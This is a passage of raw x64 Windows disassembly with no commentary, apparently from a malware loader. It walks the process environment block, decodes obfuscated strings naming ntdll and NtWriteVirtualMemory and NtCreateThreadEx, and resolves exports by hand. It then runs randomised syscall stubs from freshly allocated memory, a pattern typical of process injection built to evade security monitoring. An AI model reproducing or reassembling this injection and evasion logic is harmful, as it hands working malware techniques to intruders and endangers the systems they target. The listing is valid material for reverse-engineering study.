call fcn.140042908
mov byte [rbp + 0x80], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x18]
mov dl, 0x6c
lea rcx, [rbp + 0x78]
call fcn.140042908
mov byte [rbp + 0x81], al
xor eax, eax
mov byte [rbp + 0x82], al
mov r9d, 9
mov r8, r15
mov dl, byte [rbp + r15 + 0x79]
lea rcx, [rbp + 0x78]
call fcn.140042908
mov byte [rbp + r15 + 0x79], al
add r15, rsi
cmp r15, 9
jb 0x140035cdc
mov esi, reloc.WS2_32.dll_sendto
xor r9d, r9d
mov byte [rbp + 0x82], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140035e3b
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x140035db7
lea r15d, [rcx + 1]
mov r11d, r15d
mov rdx, qword [rsp + 0x70]
mov r13, qword [rsp + 0x68]
mov ecx, r11d
cmp word [r13 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + r8*2]
mov byte [r9 + r8], al
add r11d, r15d
add r8, r15
cmp r8, r10
jl 0x140035d82
mov ebx, reloc.WS2_32.dll_recvfrom
lea r13d, [rbx - 1]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140035e10
mov rax, rcx
lea r9, [rbp + 0x79]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140035e09
add rax, r11
test edx, edx
jne 0x140035df4
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x14003673d
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x140035d32
mov rdi, qword [rsp + 0x70]
mov dword [rbp - 0x68], r9d
mov byte [rbp + 0x530], Ordinal_79
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x531], al
mov r9, rsi
mov r12d, 1
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x532], al
mov r9, rsi
lea r8d, [r12 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x533], al
mov r9, rsi
lea r8d, [r12 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x534], al
mov r9, rsi
lea r8d, [r12 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x535], al
mov r9, rsi
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x536], al
mov r9, rsi
lea r8d, [r12 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x537], al
mov r9, rsi
lea r8d, [r12 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x538], al
mov r9, rsi
lea r8d, [r12 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x539], al
mov r9, rsi
lea r8d, [r12 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x53a], al
mov r9, rsi
lea r8d, [r12 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x53b], al
mov r9, rsi
lea r8d, [r12 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x53c], al
mov r9, rsi
lea r8d, [r12 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x53d], al
mov r9, rsi
lea r8d, [r12 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x53e], al
mov r9, rsi
lea r8d, [r12 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x53f], al
mov r9, rsi
lea r8d, [r12 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x540], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x541], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x542], al
mov r9, rsi
lea r8d, [r12 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x543], al
mov r9, rsi
lea r8d, [r12 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + 0x544], al
xor eax, eax
mov byte [rbp + 0x545], al
mov r13d, eax
mov r9, rsi
mov r8, r13
mov dl, byte [rbp + r13 + 0x531]
lea rcx, [rbp + 0x530]
call fcn.1400430f8
mov byte [rbp + r13 + 0x531], al
add r13, r12
cmp r13, rsi
jb 0x14003607f
mov r12d, reloc.WLDAP32.dll_Ordinal_32
lea r13d, [r12 - 0x10]
xor r15d, r15d
mov byte [rbp + 0x545], r15b
mov byte [rbp + 0x68], r12b
lea r12d, [r13 - 7]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x68]
call fcn.140042908
mov byte [rbp + 0x69], al
mov r9d, r12d
lea r12d, [r13 - 0xf]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x68]
call fcn.140042908
mov byte [rbp + 0x6a], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x68]
call fcn.140042908
mov byte [rbp + 0x6b], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x68]
call fcn.140042908
mov byte [rbp + 0x6c], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x68]
call fcn.140042908
mov byte [rbp + 0x6d], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xb]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x68]
call fcn.140042908
mov byte [rbp + 0x6e], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xa]
mov dl, 0x64
lea rcx, [rbp + 0x68]
call fcn.140042908
mov byte [rbp + 0x6f], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x68]
call fcn.140042908
mov byte [rbp + 0x70], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 8]
mov dl, 0x6c
lea rcx, [rbp + 0x68]
call fcn.140042908
mov byte [rbp + 0x71], al
xor eax, eax
mov byte [rbp + 0x72], al
mov r9d, 9
mov r8, r15
mov dl, byte [rbp + r15 + 0x69]
lea rcx, [rbp + 0x68]
call fcn.140042908
mov byte [rbp + r15 + 0x69], al
add r15, r12
cmp r15, 9
jb 0x140036191
xor ecx, ecx
lea r12d, [rcx + 0x20]
mov byte [rbp + 0x72], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x1400362e5
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x140036264
lea r13d, [rcx + 1]
mov r11d, r13d
mov rdx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
mov ecx, r11d
cmp word [r15 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + r8*2]
mov byte [r9 + r8], al
add r11d, r13d
add r8, r13
cmp r8, r10
jl 0x140036231
mov ebx, reloc.WS2_32.dll_recvfrom
lea r13d, [rbx - 1]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x1400362bd
mov rax, rcx
lea r9, [rbp + 0x69]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400362b6
add rax, r11
test edx, edx
jne 0x1400362a1
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
test dil, dil
jne 0x14003698c
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x1400361e1
mov rdi, qword [rsp + 0x70]
xor eax, eax
xor ecx, ecx
cmp dword [rbp - 0x68], ecx
jl 0x14003a757
test eax, eax
js 0x14003a757
mov byte [rbp + 0x2a8], bl
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2a9], al
mov r9, r13
mov ebx, 1
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2aa], al
mov r9, r13
lea r8d, [rbx + 1]
mov dl, 0x43
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2ab], al
mov r9, r13
lea r8d, [rbx + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2ac], al
mov r9, r13
lea r8d, [rbx + 3]
mov dl, 0x65
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2ad], al
mov r9, r13
lea r8d, [rbx + 4]
mov dl, 0x61
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2ae], al
mov r9, r13
lea r8d, [rbx + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2af], al
mov r9, r13
lea r8d, [rbx + 6]
mov dl, 0x65
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2b0], al
mov r9, r13
lea r8d, [rbx + 7]
mov dl, 0x54
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2b1], al
mov r9, r13
lea r8d, [rbx + 8]
mov dl, 0x68
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2b2], al
mov r9, r13
lea r8d, [rbx + 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2b3], al
mov r9, r13
lea r8d, [rbx + 0xa]
mov dl, 0x65
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2b4], al
mov r9, r13
lea r8d, [rbx + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2b5], al
mov r9, r13
lea r8d, [rbx + 0xc]
mov dl, 0x64
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2b6], al
mov r9, r13
lea r8d, [rbx + 0xd]
mov dl, 0x45
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2b7], al
mov r9, r13
lea r8d, [rbx + 0xe]
mov dl, 0x78
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + 0x2b8], al
xor eax, eax
mov byte [rbp + 0x2b9], al
mov esi, eax
mov r9, r13
mov r8, rsi
mov dl, byte [rbp + rsi + 0x2a9]
lea rcx, [rbp + 0x2a8]
call fcn.140042980
mov byte [rbp + rsi + 0x2a9], al
add rsi, rbx
cmp rsi, r13
jb 0x1400364bd
mov ebx, reloc.WS2_32.dll_recvfrom
lea esi, [rbx + 3]
xor r15d, r15d
mov byte [rbp + 0x2b9], r15b
mov byte [rbp + 0x58], gethostname
lea r12d, [rbx - 8]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x58]
call fcn.140042908
mov byte [rbp + 0x59], al
mov r9d, r12d
lea r12d, [rbx - 0x10]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x58]
call fcn.140042908
mov byte [rbp + 0x5a], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0x58]
call fcn.140042908
mov byte [rbp + 0x5b], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0x58]
call fcn.140042908
mov byte [rbp + 0x5c], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x58]
call fcn.140042908
mov byte [rbp + 0x5d], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x58]
call fcn.140042908
mov byte [rbp + 0x5e], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0x58]
call fcn.140042908
mov byte [rbp + 0x5f], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x58]
call fcn.140042908
mov byte [rbp + 0x60], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x58]
call fcn.140042908
mov byte [rbp + 0x61], al
xor eax, eax
mov byte [rbp + 0x62], al
mov r9d, 9
mov r8, r15
mov dl, byte [rbp + r15 + 0x59]
lea rcx, [rbp + 0x58]
call fcn.140042908
mov byte [rbp + r15 + 0x59], al
add r15, r12
cmp r15, 9
jb 0x1400365ca
mov r12d, reloc.WLDAP32.dll_Ordinal_32
xor r9d, r9d
mov byte [rbp + 0x62], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140036e3f
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x1400366a4
lea r12d, [rcx + 1]
mov r11d, r12d
mov rdx, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x68]
mov ecx, r11d
cmp word [rbx + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rbx + r8*2]
mov byte [r8 + r9], al
add r11d, r12d
add r8, r12
cmp r8, r10
jl 0x14003666e
mov ebx, reloc.WS2_32.dll_recvfrom
lea esi, [rbx + 3]
lea r12d, [rbx + 0xf]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x1400366fd
mov rax, rcx
lea r9, [rbp + 0x59]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400366f6
add rax, r11
test edx, edx
jne 0x1400366e1
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x140036bc9
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x14003661e
jmp 0x140036e3a
mov edx, dword [rdx + 0x14]
sub rdx, rcx
add rdx, qword [r9]
add rdx, qword [rbp + 0xbc8]
jmp 0x1400358fd
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140035e36
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140035e36
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140035e36
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140035e36
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140035e36
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x519]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400367ce
inc rax
test edi, edi
jne 0x1400367b9
xor r9d, r9d
test r8d, r8d
je 0x1400367e4
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x1400367a8
jmp 0x140035e36
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140035e36
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140035e36
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.1400a18a0
or dword [rbp + 0x1be54], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1aad0]
call fcn.1400437d4
lea rcx, [rbp + 0x1aad0]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
mov edi, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x1aad0]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x34490], rax
add rdi, r15
cmp rdi, 0x200
jl 0x14003688a
mov rdi, qword [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x34490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe2c], eax
lea r9, [rbp + 0xe2c]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x218]
mov r8, qword [rbp - 0x68]
mov rdx, qword [rbp + 0xbd0]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe2c]
mov r8d, dword [rbp + 0xe2c]
mov edx, 0x1000
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
mov rdi, qword [rsp + 0x70]
jmp 0x140035e3f
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x1400362e0
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140036a1e
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140036a1e
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140036a1e
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140036a1e
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x531]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140036a0e
inc rax
test edi, edi
jne 0x1400369f9
xor edi, edi
test r8d, r8d
je 0x140036a2a
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x1400369e8
mov eax, edi
mov rdi, qword [rsp + 0x70]
jmp 0x1400362e7
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140036a1e
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140036a1e
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.1400a18a0
or dword [rbp + 0x1d1e4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1be60]
call fcn.1400437d4
lea rcx, [rbp + 0x1be60]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea esi, [rax + 1]
lea rcx, [rbp + 0x1be60]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x35490], rax
add rdi, rsi
cmp rdi, 0x200
jl 0x140036ac5
mov rdi, qword [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x35490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe28], eax
lea r9, [rbp + 0xe28]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 0x33]
lea r8, [rbp + 0x28200]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rsp + 0x60], eax
lea r9, [rbp + 0xe28]
mov r8d, dword [rbp + 0xe28]
mov edx, 0x1000
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
mov rdi, qword [rsp + 0x70]
mov eax, dword [rsp + 0x60]
jmp 0x1400362e7
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140036e3a
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140036e3a
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140036e3a
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140036e3a
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140036e3a
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x2a9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140036c5a
inc rax
test edi, edi
jne 0x140036c45
test r8d, r8d
je 0x140036c6d
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x140036c34
jmp 0x140036e3a
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140036e3a
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140036e3a
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.1400a18a0
or dword [rbp + 0x98e4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x8560]
call fcn.1400437d4
lea rcx, [rbp + 0x8560]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
mov edi, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0x8560]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x36490], rax
add rdi, r13
cmp rdi, 0x200
jl 0x140036d14
mov r13d, reloc.WS2_32.dll_recv
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x36490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe24], eax
lea r9, [rbp + 0xe24]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x20]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0xce0]
call rdi
mov edi, eax
lea r9, [rbp + 0xe24]
mov r8d, dword [rbp + 0xe24]
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rsp + 0x78]
call fcn.1400c97b0
lea edx, [r13 - 5]
mov r8d, 0x8000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
test edi, edi
js 0x14003a2c1
mov rdi, qword [rsp + 0x70]
mov rax, qword [rbp + 0xce0]
mov qword [rbp + 0x218], rax
cmp rax, 0xffffffffffffffff
je 0x14003a2c1
mov byte [rbp + 0x6c8], 0x5a
mov r9, r14
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6c9], al
mov r9, r14
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6ca], al
mov r9, r14
mov r8d, 2
mov dl, 0x57
